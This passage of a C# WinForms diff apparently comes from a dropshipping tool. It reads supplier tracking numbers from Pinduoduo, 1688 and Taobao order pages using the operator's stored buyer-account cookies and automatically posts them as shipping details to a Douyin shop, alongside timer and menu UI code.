BaseClass.StartReadOrderMin, BaseClass.StartReadOrderSecond > 9 ? BaseClass.StartReadOrderSecond.ToString() : "0" + BaseClass.StartReadOrderSecond); + if (BaseClass.StartReadOrderSecond == 0) + { + BaseClass.StartReadOrderSecond = 60; + if (BaseClass.StartReadOrderMin == 0) + { + //if (afterSaleOrderListForm != null) + //{ + // afterSaleOrderListForm.readAfterSaleOrder(); + //} + ReadOrder(2, "time"); + + BaseClass.StartReadOrderMin = 8; + } + BaseClass.StartReadOrderMin--; + } + } + + bool zidongfahuo = false; + /// + /// 发货倒计时 自动发货 + /// + /// + /// + private void sendOrder(object sender, EventArgs e) + { + if (!GlobalConfig.SystemSettings.IsAutoSendOrder) + { + lbSendOrder.Text = "发货暂停,可在设置开启"; + return; + } + BaseClass.sendOrderSecond--; + lbSendOrder.Text = string.Format("发货倒计时:{0}分{1}秒", BaseClass.sendOrderMin, BaseClass.sendOrderSecond > 9 ? BaseClass.sendOrderSecond.ToString() : "0" + BaseClass.sendOrderSecond); + if (BaseClass.sendOrderSecond == 0) + { + BaseClass.sendOrderSecond = 60; + if (BaseClass.sendOrderMin == 0) + { + if (zidongfahuo == false) + { + new Thread(getTrackingNumberAndAutoSendOrder).Start(); + } + BaseClass.sendOrderMin = 15; + } + BaseClass.sendOrderMin--; + } + } + + /// + /// 读取上家发货信息,获取成功后自动发货 + /// + private void getTrackingNumberAndAutoSendOrder() + { + zidongfahuo = true; + #region 获取物流信息 + for (int i = CollectionClass.orderSenderDataList.Count - 1; i >= 0; i--) + { + DouYinOrderModel item = CollectionClass.orderSenderDataList[i]; + if (!string.IsNullOrEmpty(item.buyer_mobile) && (item.order_status_buy == 2 || item.order_status_buy == 3 || item.order_status_buy == 5)) + { + try + { + KeyValuePair dicbuyer = new KeyValuePair(); + string trackingNumber = ""; + string shippingName = ""; + string html = ""; + string buycookies = ""; + string upId = string.IsNullOrEmpty(item.default_up_ids) ? item.up_product_id : item.default_up_ids; + if (item.order_id == "4861161964074866166" || item.order_id_buy.Contains("211224-049513767960947")) + { + } + + // pdd订单 + if (item.order_id_buy.Contains("-")) + { + // 拼多多批发订单 + if (item.buyer_mobile.ToUpper().StartsWith("PDD")) + { + var url = "https://pifa.pinduoduo.com/pifa/pc/order/queryOrderDetail"; + PddPifaShopInfo pddPifashop = null; + try + { + pddPifashop = GlobalConfig.LstPddPifaShop.Find(x => x.PddId == item.buyer_mobile); + } + catch (Exception) { } + + if (pddPifashop == null) + { + item.send_order_error_msg = "未找到批发买手店铺信息"; + //orderViewModel.experrorico = "\ue609"; + } + else + { + string htmlDetail = AllBase.Helper.HttpHelper.Request_pifa_pinduoduo_com(url, + "https://pifa.pinduoduo.com", "{\"orderSn\":\"" + item.order_id_buy + "\"}", pddPifashop.CookieStr); + if (htmlDetail.Contains("\"success\":true")) + { + trackingNumber = BaseRegex.GetStringJson(ref htmlDetail, "trackingNumber"); // 物流单号 + shippingName = BaseRegex.GetStringJson(ref htmlDetail, "shippingCompany"); // 物流公司名称 + } + } + } + // 普通拼多多订单或者多买手拍单 + else + { + dicbuyer = PddBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == item.buyer_mobile_uid); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + Thread.Sleep(500); + // 多买手拍单 + if (item.buyer_mobile.StartsWith("plbuy_")) + { + var multiUserCookie = GlobalConfig.LstMultiBuyer.Find(u => u.pdd_user_id == item.buyer_mobile.Replace("plbuy_", "")); + if (multiUserCookie != null) + buycookies = "PDDAccessToken=" + multiUserCookie.cookies + ";"; + } + + html = GetPostTaobaoHtml.UploadTaobao("https://yangkeduo.com/goods_express.html?order_sn=" + item.order_id_buy, "https://yangkeduo.com", true, buycookies); + if (html.Contains("window.rawData= null;")) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&send_order_error_msg=买手号掉线无法自动发货"); + sb.Append("&order_status_buy=5"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlssss = GetHtml.PostUtf8(urls, UserLogin.GetSignaturex() + sb.ToString()); + item.send_order_error_msg = "买手号掉线无法自动发货"; + item.order_status_buy = 5; + sendOrderForms.SetOrderEditShowInDgvRows(item, 1); + continue; + } + if (item.send_order_error_msg == "买手号掉线无法自动发货" || item.send_order_error_msg == "买手号重新连线,上家发货后将自动发货") + { + var newErrorText = ""; + if (item.send_order_error_msg == "买手号掉线无法自动发货") + newErrorText = "买手号重新连线,上家发货后将自动发货"; + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&order_status_buy=5"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + sb.Append("&send_order_error_msg=" + newErrorText); + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlssss = GetHtml.PostUtf8(urls, UserLogin.GetSignaturex() + sb.ToString()); + item.send_order_error_msg = newErrorText; + sendOrderForms.SetOrderEditShowInDgvRows(item, 1); + } + trackingNumber = BaseRegex.GetStringJson(ref html, "trackingNumber"); // 物流单号 + shippingName = BaseRegex.GetStringJson(ref html, "shippingName"); // 物流公司名称 + + // 多买手订单记录物流信息防止多买手掉线无法读取 + if (item.buyer_mobile.StartsWith("plbuy_") && !string.IsNullOrEmpty(trackingNumber) && !string.IsNullOrEmpty(shippingName)) + { + if (item.express_name != shippingName || item.express_no != trackingNumber) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&is_update_order=0"); // 1修改状态0不修改状态 + sb.Append("&express_name=" + shippingName); + sb.Append("&express_no=" + trackingNumber); + item.express_name = shippingName; + item.express_no = trackingNumber; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string htmlssss = GetHtml.PostUtf8(urls, param); + } + } + + // 获取上家发货信息成功,在发货超时之前4小时以上,必须读到上家物流后再发货 + if (!string.IsNullOrEmpty(trackingNumber) && GlobalConfig.SystemSettings.IsHasLogisticsThenSend && item.create_time.ParseToDateTime().AddHours(44) > DateTime.Now) + { + if (!html.Contains("已揽件") && !html.Contains("已收寄")) + { + continue; + } + } + } + } + // 阿里订单 + else if (upId.StartsWith("al-") || upId.StartsWith("1688-")) + { + if (ALBuyUser.buyUserCookies.Count > 0) + { + dicbuyer = ALBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == item.buyer_mobile_uid); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + + string url = "https://trade.1688.com/order/new_step_order_detail.htm?orderId=" + item.order_id_buy + "&tracelog=20120313bscentertologisticsbuyer&"; + string refere = "https://trade.1688.com/order/buyer_order_list.htm?tracelog=work_2_m_buyList"; + + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false, buycookies); + + if (html.Contains("登录页面") || html.Contains("命令参数不对")) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&send_order_error_msg=买手号掉线无法自动发货"); + sb.Append("&order_status_buy=5"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + item.order_status_buy = 0; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlssss = GetHtml.PostUtf8(urls, UserLogin.GetSignaturex() + sb.ToString()); + item.send_order_error_msg = "买手号掉线无法自动发货"; + item.order_status_buy = 5; + sendOrderForms.SetOrderEditShowInDgvRows(item, 1); + continue; + } + + trackingNumber = BaseRegex.GetMatchRegexString(ref html, "data-billno=\"([^<]+?)\""); + shippingName = BaseRegex.GetMatchRegexString(ref html, "data-companyName=\"([^<]+?)\""); + string cpCode = BaseRegex.GetMatchRegexString(ref html, "data-companyno=\"([^<]+?)\""); + + // 获取上家发货信息成功,在发货超时之前4小时以上,必须读到上家物流后再发货 + if (!string.IsNullOrEmpty(trackingNumber) && GlobalConfig.SystemSettings.IsHasLogisticsThenSend && item.create_time.ParseToDateTime().AddHours(44) > DateTime.Now) + { + string ranStr = "1720"; + for (int r = 0; r < 18; r++) + { + ranStr += Randomx.GetId(0, 10).ToString(); + } + url = "https://wuliu.1688.com/order/ajax/logistics_trace_ajax.jsx?_input_charset=UTF-8" + + "&callback=jQuery" + ranStr + "_" + BaseClass.ConvertDateTimeLong(DateTime.Now) + + "&tradeId=" + item.order_id_buy + "&mailNo=" + trackingNumber + "&cpCode=" + cpCode + "&viewType=buyer"; + refere = "https://trade.1688.com/order/new_step_order_detail.htm?orderId=" + item.order_id_buy + "&tracelog=20120313bscentertologisticsbuyer&"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false, buycookies); + if (!html.Contains("已揽件") && !html.Contains("已收寄")) + { + continue; + } + } + } + // 淘宝订单 + else + { + if (TaoBaoBuyUser.buyUserCookies.Count > 0) + { + dicbuyer = TaoBaoBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == item.buyer_mobile_uid); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + + string url = "https://buyertrade.taobao.com/trade/detail/trade_item_detail.htm?bizOrderId=" + item.order_id_buy; + string refere = "https://trade.1688.com/order/buyer_order_list.htm?tracelog=work_2_m_buyList"; + refere = ""; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false, buycookies); + + if (html.Contains("登录页面")) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&send_order_error_msg=买手号掉线无法自动发货"); + sb.Append("&order_status_buy=5"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + item.order_status_buy = 0; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlssss = GetHtml.PostUtf8(urls, UserLogin.GetSignaturex() + sb.ToString()); + item.send_order_error_msg = "买手号掉线无法自动发货"; + item.order_status_buy = 5; + sendOrderForms.SetOrderEditShowInDgvRows(item, 1); + continue; + } + + shippingName = BaseRegex.GetStringJson(ref html, "companyName"); + if (string.IsNullOrEmpty(shippingName)) + shippingName = BaseRegex.GetMatchRegexString(ref html, "\\\\\"logisticsName\\\\\":\\\\\"([\\s\\S]+?)\\\\\""); + trackingNumber = BaseRegex.GetStringJson(ref html, "mailNo"); + if (string.IsNullOrEmpty(trackingNumber)) + trackingNumber = BaseRegex.GetMatchRegexString(ref html, "\\\\\"logisticsNum\\\\\":\\\\\"([\\s\\S]+?)\\\\\""); + + bool isReadWuliu = false; + if (string.IsNullOrEmpty(shippingName) || string.IsNullOrEmpty(trackingNumber)) + { + long ti = AllBase.BaseClass.ConvertDateTimeLong(DateTime.Now); + long ti2 = ti + Randomx.GetId(1, 3); + //url = "https://detail.i56.taobao.com/trace/trace_detail.htm?tId=" + item.order_id_buy + "&userId=44051536"; + url = "https://detail.i56.taobao.com/call/queryTrace.do?t=" + ti + "&_ksTS=" + ti2 + "_13&callback=jsonp14&dimension=TRADE_ID&tradeId=" + item.order_id_buy; + refere = "https://trade.taobao.com/"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false, buycookies); + shippingName = BaseRegex.GetStringJson(ref html, "cpName"); + trackingNumber = BaseRegex.GetStringJson(ref html, "mailNo"); + isReadWuliu = true; + } + + // 获取上家发货信息成功,在发货超时之前4小时以上,必须读到上家物流后再发货 + if (!string.IsNullOrEmpty(trackingNumber) && GlobalConfig.SystemSettings.IsHasLogisticsThenSend && item.create_time.ParseToDateTime().AddHours(44) > DateTime.Now) + { + if (!isReadWuliu) + { + long ti = AllBase.BaseClass.ConvertDateTimeLong(DateTime.Now); + long ti2 = ti + Randomx.GetId(1, 3); + //url = "https://detail.i56.taobao.com/trace/trace_detail.htm?tId=" + item.order_id_buy + "&userId=44051536"; + url = "https://detail.i56.taobao.com/call/queryTrace.do?t=" + ti + "&_ksTS=" + ti2 + "_13&callback=jsonp14&dimension=TRADE_ID&tradeId=" + item.order_id_buy; + refere = "https://trade.taobao.com/"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false, buycookies); + } + if (!html.Contains("已揽件") && !html.Contains("已收寄")) + { + continue; + } + } + } + + if (!string.IsNullOrEmpty(trackingNumber)) + { + List expressbaselist = CollectionClass.ExpressList.FindAll(x => x.name.Contains(shippingName.Substring(0, 2))); + foreach (Work.Model.ExpressBase expressbase in expressbaselist) + { + Dictionary dic = new Dictionary() { }; + dic.Add("order_id", item.order_id); + dic.Add("company", expressbase.name); // 物流公司名称 + dic.Add("company_code", expressbase.code); // 物流公司code + dic.Add("logistics_code", trackingNumber); // 快递单号 + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.FirstOrDefault(v => v.ShopId == item.shop_id.ToString()); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + html = apix.OrderLogisticsAdd(); + + if (html.ToLower().Contains("success") || html.Contains("订单已发货,不能再次执行发货")) + { + string buyusername = ""; + string buyuserid = ""; + if (dicbuyer.Value != null) + { + buyusername = dicbuyer.Key.name; + buyuserid = dicbuyer.Value.uid; + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&express_name=" + expressbase.name); // 0已完成 1待拍单 2等待上家发货 + sb.Append("&express_no=" + trackingNumber); + sb.Append("&order_status_buy=0"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + item.express_name = expressbase.name; + item.express_no = trackingNumber; + //CollectionClass.orderSenderDataList.RemoveAll(x => x.order_id == item.order_id); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string htmlsss = GetHtml.PostUtf8(url, param); + CollectionClass.orderSenderDataList.Remove(item); + sendOrderForms.SetOrderEditShowInDgvRows(item, 2); + break; + } + } + + if (JObject.Parse(html)["code"]?.ToString() != "10000") + { + // 检查买手是否退款 211008-514808934040947 + bool isreturn = new AutoConfirmExpress(buycookies).isReturnProduct(item.order_id_buy, buycookies); + if (isreturn) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&order_status_buy=0"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + item.express_name = shippingName; + item.express_no = trackingNumber; + item.send_order_error_msg = JObject.Parse(html)["sub_msg"].ToString(); + item.order_status_buy = 0; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string htmlssss = GetHtml.PostUtf8(urls, param); + sendOrderForms.SetOrderEditShowInDgvRows(item, 2); + } + else + { + // 自动发货失败 + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&express_name=" + shippingName); // 0已完成 1待拍单 2等待上家发货 + sb.Append("&express_no=" + trackingNumber); + sb.Append("&order_status_buy=5"); + sb.Append("&send_order_error_msg=" + JObject.Parse(html)["sub_msg"].ToString()); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + item.express_name = shippingName; + item.express_no = trackingNumber; + item.send_order_error_msg = JObject.Parse(html)["sub_msg"].ToString(); + item.order_status_buy = 5; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string htmlssss = GetHtml.PostUtf8(urls, param); + sendOrderForms.SetOrderEditShowInDgvRows(item, 1); + } + } + } + else + { + // 是否退款 + bool isreturn = new AutoConfirmExpress(buycookies).isReturnProduct(item.order_id_buy, buycookies); + if (isreturn) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + item.order_id); + sb.Append("&order_status_buy=0"); + sb.Append("&is_update_order=1");//1修改状态0不修改状态 + item.order_status_buy = 0; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlssss = GetHtml.PostUtf8(urls, UserLogin.GetSignaturex() + sb.ToString()); + sendOrderForms.SetOrderEditShowInDgvRows(item, 2); + } + } + } + catch (Exception ex) + { + + } + } + } + #endregion + zidongfahuo = false; + } + + /// + /// 手动发货 + /// + /// 订单ID + /// 1待拍单直接发货 2待发货直接发货 + public void logisticsAddOrder(string orderid, int type, string expname, string expno) + { + string html = ""; + DouYinOrderModel ordermodel = null; + if (type == 1) + { + ordermodel = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + } + else if (type == 2) + { + ordermodel = CollectionClass.orderSenderDataList.Find(x => x.order_id == orderid); + } + + if (ordermodel == null) + { + return; + } + if (string.IsNullOrEmpty(expname) || string.IsNullOrEmpty(expno)) + { + MessageBox.Show("物流信息不正确,请编辑修改物流信息。"); + return; + } + if (ordermodel.order_status_buy != 2 && ordermodel.order_status_buy != 3 && ordermodel.order_status_buy != 5) + { + MessageBox.Show("此订单状态无法发货。"); + return; + } + var dicbuyer = PddBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == ordermodel.buyer_mobile_uid); + string buycookies = ""; + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + + List expressbaselist = CollectionClass.ExpressList.FindAll(x => x.name == expname); + if (expressbaselist.Count == 0) + { + BaseMsgForm.ShowInfo("无此物流公司", "提示"); + return; + } + foreach (Work.Model.ExpressBase expressbase in expressbaselist) + { + Dictionary dic = new Dictionary() { }; + dic.Add("order_id", ordermodel.order_id); + dic.Add("company", expname);//物流公司名称 + dic.Add("company_code", expressbase.code);//物流公司code + dic.Add("logistics_code", expno);//快递单号 + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.FirstOrDefault(v => v.ShopId == ordermodel.shop_id.ToString()); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + html = apix.OrderLogisticsAdd(); + if (html.ToLower().Contains("success")) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + ordermodel.order_id); + sb.Append("&express_name=" + expname); + sb.Append("&express_no=" + expno); + sb.Append("&order_status_buy=0"); + sb.Append("&is_update_order=1");//1修改状态0不修改状态 + ordermodel.express_name = expname; + ordermodel.express_no = expno; + //CollectionClass.orderSenderDataList.RemoveAll(x => x.order_id == item.order_id); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlsss = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + if (type == 1) + { + CollectionClass.orderDataList.Remove(ordermodel); + buyOrderListForm.SetOrderEditShowInDgvRows(ordermodel, 2); + } + else if (type == 2) + { + CollectionClass.orderSenderDataList.Remove(ordermodel); + sendOrderForms.SetOrderEditShowInDgvRows(ordermodel, 2); + } + BaseMsgForm.ShowInfo("发货成功", "提示"); + break; + } + } + + if (JObject.Parse(html)["code"]?.ToString() != "10000") + { + //是否退款 211008-514808934040947 + bool isreturn = new AutoConfirmExpress(buycookies).isReturnProduct(ordermodel.order_id_buy, buycookies); + if (isreturn) // 退款完成的订单 删除修改为已完成 + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + ordermodel.order_id); + sb.Append("&order_status_buy=0"); + sb.Append("&express_name=" + expname); + sb.Append("&express_no=" + expno); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + ordermodel.send_order_error_msg = JObject.Parse(html)["sub_msg"].ToString(); + ordermodel.order_status_buy = 0; + ordermodel.express_name = expname; + ordermodel.express_no = expno; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlssss = GetHtml.PostUtf8(urls, UserLogin.GetSignaturex() + sb.ToString()); + + if (type == 1) + { + CollectionClass.orderDataList.Remove(ordermodel); + buyOrderListForm.SetOrderEditShowInDgvRows(ordermodel, 2); + } + else if (type == 2) + { + CollectionClass.orderSenderDataList.Remove(ordermodel); + sendOrderForms.SetOrderEditShowInDgvRows(ordermodel, 2); + } + BaseMsgForm.ShowInfo("退款订单无法发货", "提示"); + } + else + { + //自动发货失败 + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + ordermodel.order_id); + sb.Append("&order_status_buy=5"); + sb.Append("&express_name=" + expname); + sb.Append("&express_no=" + expno); + sb.Append("&send_order_error_msg=" + JObject.Parse(html)["sub_msg"].ToString()); + sb.Append("&is_update_order=1");//1修改状态0不修改状态 + ordermodel.send_order_error_msg = JObject.Parse(html)["sub_msg"].ToString(); + ordermodel.order_status_buy = 5; + ordermodel.express_name = expname; + ordermodel.express_no = expno; + string urls = BaseClass.DouYinBuildObjString("order&act=update"); + string htmlssss = GetHtml.PostUtf8(urls, UserLogin.GetSignaturex() + sb.ToString()); + if (type == 1) + { + buyOrderListForm.SetOrderEditShowInDgvRows(ordermodel, 1); + } + else if (type == 2) + { + sendOrderForms.SetOrderEditShowInDgvRows(ordermodel, 1); + } + BaseMsgForm.ShowInfo("发货失败【" + ordermodel.send_order_error_msg + "】", "提示"); + } + } + } + + private void pnlMenu_Click(object sender, EventArgs e) + { + var obj = sender as DevComponents.DotNetBar.PanelEx; + switch (obj.Name) + { + case "pnlWaitingBuyOrder": // 待拍单 + pnlAfterSaleSelect.Visible = false; + picmenu(pnlWaitingBuyOrder); + if (buyOrderListForm == null) + { + buyOrderListForm = new BuyOrderListForm(); + buyOrderListForm.mainform = this; + buyOrderListForm.FormBorderStyle = FormBorderStyle.None; //隐藏子窗体边框(去除最小化,最大化,关闭等按钮) + buyOrderListForm.TopLevel = false; //指示子窗体非顶级窗体 + buyOrderListForm.Dock = System.Windows.Forms.DockStyle.Fill; + splitMain.Panel2.Controls.Add(buyOrderListForm);//将子窗体载入panel + buyOrderListForm.Show(); + } + buyOrderListForm.BringToFront(); + break; + case "pnlWaitingDeliverGoods": // 待发货 + pnlAfterSaleSelect.Visible = false; + picmenu(pnlWaitingDeliverGoods); + if (sendOrderForms == null) + { + sendOrderForms = new SendOrderListForms(); + sendOrderForms.FormBorderStyle = FormBorderStyle.None; //隐藏子窗体边框(去除最小化,最大化,关闭等按钮) + sendOrderForms.TopLevel = false; //指示子窗体非顶级窗体 + sendOrderForms.mainform = this; + sendOrderForms.Dock = System.Windows.Forms.DockStyle.Fill; + splitMain.Panel2.Controls.Add(sendOrderForms);//将子窗体载入panel + sendOrderForms.Show(); + } + sendOrderForms.BringToFront(); + break; + case "pnlSuccess": // 已完成 + pnlAfterSaleSelect.Visible = false; + picmenu(pnlSuccess); + if (successOrderListForm == null) + { + successOrderListForm = new SuccessOrderListForm(); + } + successOrderListForm.FormBorderStyle = FormBorderStyle.None; //隐藏子窗体边框(去除最小化,最大化,关闭等按钮) + successOrderListForm.TopLevel = false; //指示子窗体非顶级窗体 + successOrderListForm.mainform = this; + successOrderListForm.Dock = System.Windows.Forms.DockStyle.Fill; + splitMain.Panel2.Controls.Add(successOrderListForm);//将子窗体载入panel + successOrderListForm.Show(); + successOrderListForm.BringToFront(); + break; + case "pnlAfterSale": // 售后 + picmenu(pnlAfterSale); + if (afterSaleOrderListForm == null) + { + afterSaleOrderListForm = new AfterSaleOrderListForm(); + } + afterSaleOrderListForm.FormBorderStyle = FormBorderStyle.None; //隐藏子窗体边框(去除最小化,最大化,关闭等按钮) + afterSaleOrderListForm.TopLevel = false; //指示子窗体非顶级窗体 + afterSaleOrderListForm.mainform = this; + afterSaleOrderListForm.Dock = System.Windows.Forms.DockStyle.Fill; + splitMain.Panel2.Controls.Add(afterSaleOrderListForm);//将子窗体载入panel + afterSaleOrderListForm.Show(); + afterSaleOrderListForm.BringToFront(); + pnlAfterSaleSelect.Visible = true; + break; + case "pnlOrderManage": // 订单管理 + picmenu(pnlOrderManage); + oaform = new OAForm(); + oaform.FormBorderStyle = FormBorderStyle.None; //隐藏子窗体边框(去除最小化,最大化,关闭等按钮) + oaform.TopLevel = false; //指示子窗体非顶级窗体 + oaform.Dock = DockStyle.Fill; + pnorderadmin.Controls.Add(oaform);//将子窗体载入panel + oaform.Show(); + pnorderadmin.Visible = true; + pnorderadmin.BringToFront(); + break; + //-------------------------------------------------------------------------------------- + case "pnlClose"://关闭 + if (BaseMsgForm.ShowConfirm("请问是否确认退出?", "提示", FormLevel.SMALL).DialogResult.Equals(DialogResult.OK)) + { + Process.GetCurrentProcess().Kill(); + } + break; + case "pnlMax"://最大化 + if (this.Width == Screen.PrimaryScreen.WorkingArea.Width) + { + this.Width = 1325; + this.Height = 668; + splitMain.SplitterDistance = 107; + this.Top = DefaultTop; + this.Left = DefaultLeft; + } + else + { + // this.WindowState = FormWindowState.Maximized; + SetFormMax(this); + splitMain.SplitterDistance = 107; + } + //if (this.WindowState == FormWindowState.Maximized) + // this.WindowState = FormWindowState.Normal; + //else + // this.WindowState = FormWindowState.Maximized; + //splitMain.SplitterDistance = 105; + break; + case "pnlMin"://最小化 + this.WindowState = FormWindowState.Minimized; + break; + } + } + PanelEx panelpe; + void picmenu(PanelEx pe) + { + panelpe = pe; + pnlWaitingBuyOrder.Style.BackgroundImage = Resources.x_2_0; + pnlWaitingDeliverGoods.Style.BackgroundImage = Resources.x_3_0; + pnlSuccess.Style.BackgroundImage = Resources.yiwancheng; + pnlAfterSale.Style.BackgroundImage = Resources.x_4_0; + pnlOrderManage.Style.BackgroundImage = Resources.x_6_0; + panelEx5.Text = "刷新订单"; + pnlSetSendOrder.Visible = false; + pnlReadOrder.Visible = false; + pnlSuccessSelect.Visible = false; + pntimebuyorder.Visible = false; + pnorderadmin.Visible = false; + switch (pe.Name) + { + case "pnlWaitingBuyOrder": + pnlWaitingBuyOrder.Style.BackgroundImage = Resources.x_2_1; + pnlSetSendOrder.Visible = true; + pnlReadOrder.Visible = true; + if (BaseClass.GroupId != 3) + this.pnlReadOrder.Visible = false; + break; + case "pnlWaitingDeliverGoods": + //pntimebuyorder.Visible = true; 时间搜索控件暂时不用 + pnlWaitingDeliverGoods.Style.BackgroundImage = Resources.x_3_1; + break; + case "pnlSuccess": + pnlSuccessSelect.Visible = true; + pnlSuccess.Style.BackgroundImage = Resources.yiwancheng1; + break; + case "pnlAfterSale": + panelEx5.Text = "读取售后"; + pnlAfterSale.Style.BackgroundImage = Resources.x_4_1; + break; + case "pnlOrderManage": + pnlOrderManage.Style.BackgroundImage = Resources.x_6_1; + break; + } + } + + private void btn_Click(object sender, EventArgs e) + { + var obj = sender as PanelEx; + switch (obj.Text.Replace("\r\n", "").Replace(" ", "")) + { + case "刷新店铺": + readerShop(); + break; + case "读待拍单": + DateTime sTime = DateTime.Now; + this.pnlReadOrder.Text = "读单中***"; + if (BaseClass.isUseSimGetOrder) + { + this.ReadOrderCef(); + return; + } + //new Thread(buyOrderListForm.f5dgv).Start(); + + ReadOrder(2); + Task.Run(() => + { + int times = 0; + while (isOrderReading || CollectionClass.orderDataList_Temp.Count > 0) + { + times++; + Thread.Sleep(400); + Invoke(new Action(() => { this.pnlReadOrder.Text = "读单中" + "---".Substring(0, times % 4) + "***".Substring(0, 3 - times % 4); })); + } + Invoke(new Action(() => + { + this.pnlReadOrder.Text = "读待拍单"; + TimeSpan ts = DateTime.Now.Subtract(sTime); + var min = (int)Math.Floor(ts.TotalMinutes); + var sec = (int)Math.Floor(ts.TotalSeconds) % 60; + BaseMsgForm.ShowInfo("读单完成,累计耗时:" + min + "分" + sec + "秒"); + })); + }); + break; + case "刷新订单": + case "读取售后": + switch (panelpe.Name) + { + case "pnlWaitingBuyOrder": + //buyOrderListForm.BuyOrderListForm_Load(null, null); + buyOrderListForm.RefreshPage(); + break; + case "pnlWaitingDeliverGoods": + sendOrderForms.readData(); + break; + case "pnlSuccess": + successOrderListForm.RefreshServerOrder(); + break; + case "pnlAfterSale": + afterSaleOrderListForm.readAfterSaleOrder(); + break; + } + break; + case "多多登录": + buyBrower.mainForm = this; + buyBrower.webtype = 1; + buyBrower.Width = 405; + buyBrower.Height = 692; + if (cbpddBuyUser.Text != "点击下拉切换" && cbpddBuyUser.SelectedItem != null) + { + BaseClass.PddUid = (cbpddBuyUser.SelectedItem as ComboboxItem).Value.ToString(); + new PddBuyUser().Set(BaseClass.PddUid, "", 0); + + buyBrower.webUrl = BaseClass.PddMobileUrl + "personal.html"; + buyBrower.Show(); + buyBrower.BuyBrower_Load(null, null); + return; + } + new PddBuyUser().Delete(); + buyBrower.webUrl = BaseClass.PddMobileUrl + "personal.html"; + buyBrower.Show(); + buyBrower.BuyBrower_Load(null, null); + break; + case "淘宝登录": + buyBrower.mainForm = this; + buyBrower.webtype = 2; + buyBrower.Width = this.Width; + buyBrower.Height = this.Height; + if (cbtbBuyUser.Text != "点击下拉切换" && cbtbBuyUser.SelectedItem != null) + { + BaseClass.TaoBaoUid = (cbtbBuyUser.SelectedItem as ComboboxItem).Value.ToString(); + new TaoBaoBuyUser().SetTaoBao(BaseClass.TaoBaoUid, 1); + + //buyBrower.webUrl = "https://i.taobao.com/my_taobao.htm"; + buyBrower.webUrl = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm"; + buyBrower.Show(); + buyBrower.BuyBrower_Load(null, null); + return; + } + new ALBuyUser().DeleteAL(); + new TaoBaoBuyUser().DeleteTaoBao(); + buyBrower.webUrl = BaseClass.TaoBaoLoginUrl; + buyBrower.Show(); + buyBrower.BuyBrower_Load(null, null); + break; + case "1688登录": + new ALBuyUser().DeleteAL(); + new TaoBaoBuyUser().DeleteTaoBao(); + buyBrower.mainForm = this; + buyBrower.webtype = 3; + buyBrower.Width = this.Width; + buyBrower.Height = this.Height; + + if (cb1688BuyUser.Text != "点击下拉切换" && cb1688BuyUser.SelectedItem != null) + { + 